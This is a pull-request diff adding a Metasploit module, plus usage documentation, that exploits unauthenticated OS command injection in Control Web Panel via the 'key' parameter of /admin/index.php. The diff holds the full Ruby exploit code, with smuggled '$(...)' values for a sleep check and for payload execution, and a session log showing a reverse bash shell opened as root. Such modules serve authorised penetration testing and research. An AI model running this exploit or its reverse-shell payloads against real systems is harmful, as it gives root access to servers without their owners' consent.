Skip to content
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
## Vulnerable Application

Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to unauthenticated OS command injection
via the `key` GET parameter in `/admin/index.php` when the `api` parameter is set. Successful
exploitation results in code execution as the root user.

This is a blind command injection vulnerability - results are not returned in the HTTP response.

**Prerequisites**: Softaculous and/or SitePad must be installed via the Scripts Manager.

## Verification Steps

1. Install CWP version 0.9.8.1208 or earlier on CentOS 7/8
2. Install Softaculous via CWP Scripts Manager
3. Start Metasploit: `msfconsole`
4. Load the module: `use exploit/linux/http/control_web_panel_api_cmd_exec`
5. Set options: `set RHOSTS <target>` and `set LHOST <attacker>`
6. Run: `check` to verify vulnerability
7. Run: `exploit` to get a shell

## Options

### TARGETURI

The path to the vulnerable endpoint. Default: `/admin/index.php`

### SSL

CWP admin panel typically runs on HTTPS port 2031. Default: `true`

## Scenarios

### CWP Version 0.9.8.1208 on CentOS 8

```
msf6 > use exploit/linux/http/control_web_panel_api_cmd_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RHOSTS 192.168.123.134
RHOSTS => 192.168.123.134
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set RPORT 2031
RPORT => 2031
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set SSL true
SSL => true
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set LHOST 192.168.123.128
LHOST => 192.168.123.128
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > check
[*] Checking vulnerability with sleep command (waiting 6 seconds)...
[+] 192.168.123.134:2031 - The target appears to be vulnerable. Server waited 6.3 seconds (expected >= 6).
msf6 exploit(linux/http/control_web_panel_api_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.123.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking vulnerability with sleep command (waiting 7 seconds)...
[+] The target appears to be vulnerable. Server waited 7.25 seconds (expected >= 7).
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 1 opened (192.168.123.128:4444 -> 192.168.123.134:47550) at 2025-12-23 19:00:26 -0500

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
hostname
localhost.localdomain
cat /etc/redhat-release
CentOS Linux release 8.5.2111
```
133 changes: 133 additions & 0 deletions modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
unauthenticated OS command injection. User input passed via the
"key" GET parameter to /admin/index.php (when the "api" parameter is set)
is not properly sanitized before being used to execute OS commands.
This can be exploited by unauthenticated attackers to inject and execute
arbitrary OS commands with the privileges of the root user on the web server.

Successful exploitation usually requires "Softaculous" and/or "SitePad"
to be installed through the Scripts Manager.
},
'Author' => [
'Lukas Johannes Möller', # Metasploit module
'Egidio Romano' # Vulnerability discovery
],
'References' => [
['CVE', '2025-67888'],
['URL', 'https://karmainsecurity.com/KIS-2025-09'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
['URL', 'https://control-webpanel.com']
],
'DisclosureDate' => '2025-12-16',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_ALL],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x00\x20"
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
Opt::RPORT(2031)
])
end

def check
sleep_time = rand(5..10)

print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")

res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(sleep #{sleep_time})"
}
)
end

vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")

return CheckCode::Unknown('No response from server.') unless res
return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time

CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/index.php'),
'vars_get' => {
'api' => '1',
'key' => "$(#{cmd})"
}
)
end
end
Loading